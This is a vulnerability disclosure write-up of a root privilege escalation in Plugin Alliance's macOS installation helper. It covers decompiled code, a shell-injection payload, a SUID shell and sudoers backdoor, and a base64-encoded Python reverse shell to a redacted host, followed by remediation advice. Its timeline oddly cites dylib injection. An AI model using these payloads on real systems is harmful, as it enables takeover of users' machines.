Plugin Alliance - InstallationHelper XPC Service Local Privilege Escalation

Note: The intent of this publication is to promote remediation and improve the security posture of the affected software. This disclosure follows the 90-day industry standard timeline for responsible reporting. Want the details? Keep scrolling. The full timeline and contact history are available further down the page.

Introduction

This is post 2 of 2 in my security review of the Plugin Alliance Installation Manager.

Hello again!

This write-up covers another issue I found while looking into Plugin Alliance’s InstallationHelper service on macOS.

While digging through its XPC interface and behavior, I found that the service accepts connections from any local process, skips proper authorization checks, and blindly passes malicious input straight into shell commands. Put together, that means an unprivileged user can get the helper to run arbitrary commands as root.

In this article, I’ll walk through how the vulnerability works, how the service can be reached, and what the exploitation path looks like in practice.

Vulnerability Overview

The HelperTool is a privileged macOS XPC service bundled with the Aquarius Desktop application. Its purpose is to handle system level operations such as installing audio plugin components, managing licenses, and modifying protected directories that require administrative privileges.

During testing, I noticed that the HelperTool service was exposing a publicly accessible XPC interface that fails to properly authenticate the calling process. As a result, any local user on the system can send arbitrary messages to the HelperTool, causing it to execute privileged actions on their behalf.

This misconfiguration leads to a Local Privilege Escalation (LPE). An attacker with standard user permissions could exploit this flaw to gain root access or modify protected system files bypassing macOS’s security model.

Technical analysis

Now, let me explain why the HelperTool is vulnerable, what I observed while reversing it, and why the bug leads to local privilege escalation.

The Plugin Alliance HelperTool is implemented as a privileged XPC service that runs with elevated privileges (the helper binary is installed and launched by the main application/installer). The helper exposes XPC methods intended to perform privileged operations on behalf of the main process (for example: install or remove files under protected locations, write license files, run installer commands or update the application).

During static and dynamic analysis I observed two primary implementation mistakes that together enable the escalation.

The helper accepts incoming XPC messages without verifying the identity or privileges of the caller. Proper XPC security normally relies on checking the caller’s audit token (e.g. audit_token_t) to confirm the bundle identifier or PID matches an expected trusted client or using Authorization Services / SMJobBless style mechanisms where only a signed and authorized process may request privileged operations.

In this helper, the code path that handles incoming requests does not perform an authorization check. Any local process that can connect to the helper’s Mach/XPC service is treated as trusted and may request privileged actions.

Also, the helper constructs command strings and forwards them to the system shell (or otherwise executes them) using APIs that are unsafe when supplied untrusted input. Concatenating user controlled data into a string passed to system() (or equivalent) allows an attacker to inject shell syntax and control execution flow… which turns the XPC method into a remote command execution when the caller is able to send arbitrary arguments.

Combined with the previous issue (no client authentication), this creates a path where a local, unprivileged user can trigger the helper to execute arbitrary commands with the elevated privileges of the helper process.

Insecure XPC Connection Handling

The HelperTool service registers an XPC listener and relies on listener:shouldAcceptNewConnection: to determine whether to allow new clients. In a secure design, this function should enforce strong client validation to verify the connecting process’s code signature, bundle identifier, or Team ID via the audit token.

/* @class InstallationHelper */
-(BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
    if (listener == self.listener) {
        if (newConnection != nil) {
            NSXPCInterface *iface = [NSXPCInterface interfaceWithProtocol:@protocol(InstallationHelperProtocol)];
            [newConnection setExportedInterface:iface];
            [newConnection setExportedObject:self];
            [newConnection resume];
            return YES; // Always accepts
            // […]
No Client Authentication

The function checks only that listener == self.listener and that the newConnection object is non‑null. Beyond these checks, no verification of the connecting process is performed.

No Audit Token Validation

macOS provides an audit token on each XPC connection that includes the client’s PID, UID, GID, and code‑signing identity. Secure services (e.g., Apple’s own privileged helpers) use this to ensure only trusted, signed clients can connect. This helper completely ignores the audit token.

Exposed Privileged Interface

As soon as a connection is accepted, the service immediately sets its exported interface to HelperTool and resumes the connection. This makes the entire privileged API surface accessible to any local process, malicious or not.

Because there is no authentication barrier, any local process can connect to the HelperTool service and invoke its privileged methods. Combined with the checkAuthorization: logic, this reduces the attack surface to “any user to root”.

Broken Authorization Logic

The helper attempts to enforce authorization using Apple’s Security.framework, but the implementation is flawed. Below is the relevant decompiled code from checkAuthorization:command:

/* @class HelperTool */
-(int)checkAuthorization:(NSData *)authData command:(int)cmd {
    if (cmd == 0x0) {
        __assert_rtn("command != nil");
    }

    if (authData == nil || [authData length] != 0x20) {
        return [NSError errorWithDomain:*_NSOSStatusErrorDomain code:-50 userInfo:nil];
    }

    if (AuthorizationCreateFromExternalForm([authData bytes], &authRef) != errAuthorizationSuccess) {
        return [NSError errorWithDomain:*_NSOSStatusErrorDomain code:cmd userInfo:nil];
    }

    // Retrieves the authorization right string for the requested command
    const char *right = [[Common authorizationRightForCommand:cmd] UTF8String];
    if (right == NULL) {
        __assert_rtn("oneRight.name != NULL");
    }

    // AuthorizationCopyRights is called with NULL reference
    OSStatus result = AuthorizationCopyRights(NULL, &rights, NULL, kAuthorizationFlagDefaults, NULL);
    if (result != errAuthorizationSuccess) {
        return [NSError errorWithDomain:*_NSOSStatusErrorDomain code:result userInfo:nil];
    }

    return 0; // Authorization check passes
}
Superficial Input Validation

The function checks that authData is 32 bytes (0x20) long, which corresponds to an AuthorizationExternalForm. However, this validation is syntactic only. It does not verify that the token is genuine or unexpired.

Broken Authorization Reference

Even if AuthorizationCreateFromExternalForm succeeds, the code never actually uses the resulting AuthorizationRef. Instead, it calls AuthorizationCopyRights with a NULL pointer:

AuthorizationCopyRights(NULL, &rights, NULL, flags, NULL);

Passing NULL here effectively skips validation and results in the function returning success regardless of the caller’s privileges.

Assertions Instead of Enforcement

The code contains multiple calls to __assert_rtn(...) for critical conditions (command != nil, oneRight.name != NULL). In release builds, these assertions are either stripped out or only generate runtime exceptions if triggered. They do not provide meaningful security enforcement.

This means that any local client can present any blob resembling an external authorization form (or even bypass this entirely) and still pass the check. The helper effectively grants root level privileges without requiring a valid AuthorizationRef or rights…

Unsafe Command Execution in exchangeAppWithReply:

The most critical flaw is in the HelperTool’s exchangeAppWithReply: method. Decompiled code shows the following flow:

/* @class InstallationHelper */
-(int)exchangeAppWithReply:... {
    ...
    r0 = [arg0 checkAuthorization:r24 command:arg1];
    ...
    if (r0 == 0x0) {
        // Convert attacker-supplied NSStrings into std::string
        std::string appName = [arg2 UTF8String];
        std::string oldAppName = [arg3 UTF8String];
        std::string appPath = [arg5 UTF8String]; // attacker-controlled
        std::string userName = [arg6 UTF8String]; // attacker-controlled
        ...
        // Construct command string
        var_190 = std::string::append(..., appPath, ...);
        ...
        system(var_190); // first execution sink
        ...
        system(var_190); // second execution sink
        }
    }

The function begins by calling checkAuthorization:command: but fails open (returns success even with invalid or NULL auth tokens). The parameters we can controlled (appPath arg5, userName arg6) are retained, converted to C‑style strings via UTF8String, and then appended to std::string buffers. These buffers (var_190) are then passed directly into two separate calls to system(r0). system() executes its input via /bin/sh -c, meaning shell metacharacters are interpreted. Because no sanitization or quoting is applied, any supplied appPath can inject shell metacharacters (;,&&, |, backticks) into the input like:

"/Applications/TestApp.app\"; chmod 4755 /tmp/rootbash; echo \""

Results in arbitrary commands (chmod 4755 /tmp/rootbash) executing as root.

Impact of Dual system() Sinks

The presence of two distinct system() calls means the attacker’s payload may be executed multiple times within a single invocation. This can be abused to perform a chained sequence of actions like:

  1. Dropping a root shell (/tmp/rootbash).
  2. Modifying /etc/sudoers.d for persistent passwordless root access.

Proof of Concept

To demonstrate the vulnerability, I developed an exploit that interacts directly with the vulnerable XPC service com.plugin-alliance.pa-installationhelper. The exploit exploit the exchangeAppWithReply: method to achieve arbitrary command execution as root.

Exploit Steps

  1. Establish authorization
    The exploit first constructs a dummy AuthorizationExternalForm blob using AuthorizationCreate and AuthorizationMakeExternalForm. Due to the broken implementation of checkAuthorization:command:, the service accepts this as valid even though no rights are actually granted.
  2. Connect to the vulnerable service
    The client establishes an NSXPCConnection to the Mach service com.plugin-alliance.pa-installationhelper. Because the listener accepts all connections unconditionally, the connection succeeds regardless of client identity.
  3. Trigger command injection
    The exploit calls exchangeAppWithReply: with a crafted andAppPath argument. Unsanitized attacker input is interpolated directly into a system() call, enabling arbitrary shell command execution as root.
  4. Privilege escalation & persistence
    Next, 3 steps are being executed: Copying /bin/bash to /tmp/rootbash. Setting the SUID bit on /tmp/rootbash to enable execution as root and writing a sudoers backdoor entry in /etc/sudoers.d/backdoor to grant passwordless root access.
  5. Verification
    We can confirm with the presence of /tmp/rootbash (SUID root shell) and /etc/sudoers.d/backdoor (sudoers backdoor entry).

Exploitation

We compile the exploit:

gcc -framework Foundation -framework Security pluginallianceexploit.m -o pluginallianceexploit

Run ;)

./pluginallianceexploit

And we get a persistent root shell:

We can now check the presence of /tmp/rootbash and /etc/sudoers.d/backdoor:

System Log Verification

Using log stream with an appropriate predicate, we can observe the vulnerable helper processing supplied input and spawning shell commands via system():

sudo log stream --predicate 'process == "InstallationHelper" OR process == "com.plugin-alliance.pa-installationhelper"' --level debug

Beyond privilege escalation through creation of a setuid root shell, we can leveraged to obtain a fully interactive root shell over the network!

We can use a Python reverse shell payload that’s base64‑encoded and injected through the vulnerable exchangeAppWithReply: method:

echo 'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3Mu
Y29ubmVjdCgoIlJFREFDVEVEIiwxMzM3KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMu
ZmlsZW5vKCksMik7c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw==' \ | base64 -d | python3; echo "

We execute the exploit again and get a connection back on our VM:

Remediation

To mitigate this, implement strong client verification controls for all XPC connections. This should include validating the connecting client’s code signature and using the audit token for identity checks, as relying solely on the process ID (PID) is not secure. An example of a robust implementation can be found here project.

In addition, ensure that the hardened runtime is enabled and restrict the use of sensitive entitlements. In particular, entitlements such as:

  • com.apple.security.cs.disable-library-validation
  • com.apple.security.cs.allow-dyld-environment-variables
  • com.apple.private.security.clear-library-validation

Should be avoided unless absolutely required, as they can significantly weaken binary integrity protections. To mitigate command injection vulnerabilities, all command arguments must be strictly validated and safely escaped before execution.

Happy hacking :)

Disclosure timeline

Date Action
August 1, 2025Vulnerability discovered during local security analysis of Plugin Alliance Installation Manager and its helper components.
August 1, 2025Initial technical validation and proof-of-concept developed confirming dylb injection
August 2, 2025Full vulnerability report prepared, including reproduction steps and secure remediation guidance.
August 2, 2025Responsible disclosure email sent to Plugin Alliance with attached reports and researcher PGP key requesting a secure communication channel.
August 18, 2025No acknowledgment received from the vendor. Escalation attempt submitted to MITRE CVE Program for coordination assistance.
November 19, 2025No vendor or CNA response received. Proceeding with public disclosure in accordance with a 90-day disclosure policy.